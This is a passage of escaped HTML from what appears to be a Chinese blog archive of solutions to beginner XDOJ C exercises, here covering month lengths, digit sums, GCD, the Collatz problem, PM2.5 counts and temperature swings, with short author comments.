class=\"number\"\u003e3\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e5\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e7\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e8\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e10\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e12\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e31\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e4\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e6\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e9\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e11\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e30\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e2\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (y % \u003cspan class=\"number\"\u003e4\u003c/span\u003e == \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026amp;\u0026amp; y % \u003cspan class=\"number\"\u003e100\u003c/span\u003e != \u003cspan class=\"number\"\u003e0\u003c/span\u003e) || y % \u003cspan class=\"number\"\u003e400\u003c/span\u003e == \u003cspan class=\"number\"\u003e0\u003c/span\u003e ? \u003cspan class=\"number\"\u003e29\u003c/span\u003e : \u003cspan class=\"number\"\u003e28\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a, b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\u0026#34;\u003c/span\u003e, \u0026amp;a, \u0026amp;b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, calc(a, b));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"31-计算整数各位数字之和\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#31-%E8%AE%A1%E7%AE%97%E6%95%B4%E6%95%B0%E5%90%84%E4%BD%8D%E6%95%B0%E5%AD%97%E4%B9%8B%E5%92%8C\" class=\"headerlink\" title=\"31.计算整数各位数字之和\"\u003e\u003c/a\u003e31.计算整数各位数字之和\u003c/h3\u003e\u003cp\u003e正好就是上面写的通用方法(\u003c/p\u003e\u003cp\u003e请上翻到10的通用写法。\u003c/p\u003e\u003cp\u003e所以说嘛,多想一点总是没错的。\u003c/p\u003e\u003ch3 id=\"32-最大公约数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#32-%E6%9C%80%E5%A4%A7%E5%85%AC%E7%BA%A6%E6%95%B0\" class=\"headerlink\" title=\"32.最大公约数\"\u003e\u003c/a\u003e32.最大公约数\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003egcd\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e b)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e res = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a \u0026gt; b) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e i = a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e a = b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e b = i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a == \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= a; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a % i == \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026amp;\u0026amp; b % i == \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a, b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\u0026#34;\u003c/span\u003e, \u0026amp;a, \u0026amp;b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026amp;\u0026amp; b \u0026lt; \u003cspan class=\"number\"\u003e10000\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, gcd(a, b));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e本来是想用\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ei=a,a=b,b=i;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e来做a和b值的交换的,但是平台上那个hmp编译器好像不支持逗号运算符?\u003c/p\u003e\u003cp\u003e还是我搞错编译器了呢?(笑)\u003c/p\u003e\u003ch3 id=\"33-角谷定理\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#33-%E8%A7%92%E8%B0%B7%E5%AE%9A%E7%90%86\" class=\"headerlink\" title=\"33.角谷定理\"\u003e\u003c/a\u003e33.角谷定理\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a, i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; a != \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a % \u003cspan class=\"number\"\u003e2\u003c/span\u003e == \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e a /= \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e a = (a *= \u003cspan class=\"number\"\u003e3\u003c/span\u003e) + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"34-PM2-5\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#34-PM2-5\" class=\"headerlink\" title=\"34.PM2.5\"\u003e\u003c/a\u003e34.PM2.5\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e res[\u003cspan class=\"number\"\u003e6\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e}, data, a, i, sum;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, sum = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; a; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (data \u0026gt; \u003cspan class=\"number\"\u003e300\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res[\u003cspan class=\"number\"\u003e5\u003c/span\u003e]++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (data \u0026gt; \u003cspan class=\"number\"\u003e200\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res[\u003cspan class=\"number\"\u003e4\u003c/span\u003e]++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (data \u0026gt; \u003cspan class=\"number\"\u003e150\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res[\u003cspan class=\"number\"\u003e3\u003c/span\u003e]++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (data \u0026gt; \u003cspan class=\"number\"\u003e100\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res[\u003cspan class=\"number\"\u003e2\u003c/span\u003e]++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (data \u0026gt; \u003cspan class=\"number\"\u003e50\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (data \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sum += data;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%.2f\\n\u0026#34;\u003c/span\u003e, (\u003cspan class=\"type\"\u003efloat\u003c/span\u003e)sum / a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e6\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d \u0026#34;\u003c/span\u003e, res[i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"35-气温波动\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#35-%E6%B0%94%E6%B8%A9%E6%B3%A2%E5%8A%A8\" class=\"headerlink\" title=\"35.气温波动\"\u003e\u003c/a\u003e35.气温波动\u003c/h3\u003e\u003cp\u003e注意,是\u003cstrong\u003e相邻两天波动的绝对值最大值\u003c/strong\u003e,而不是所有天温度的最大值减去最小值。\u003c/p\u003e\u003cp\u003e这里的\u003ccode\u003eprev\u003c/code\u003e和\u003ccode\u003ecurr\u003c/code\u003e表示上一个和当前的,是写链表的习惯。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan 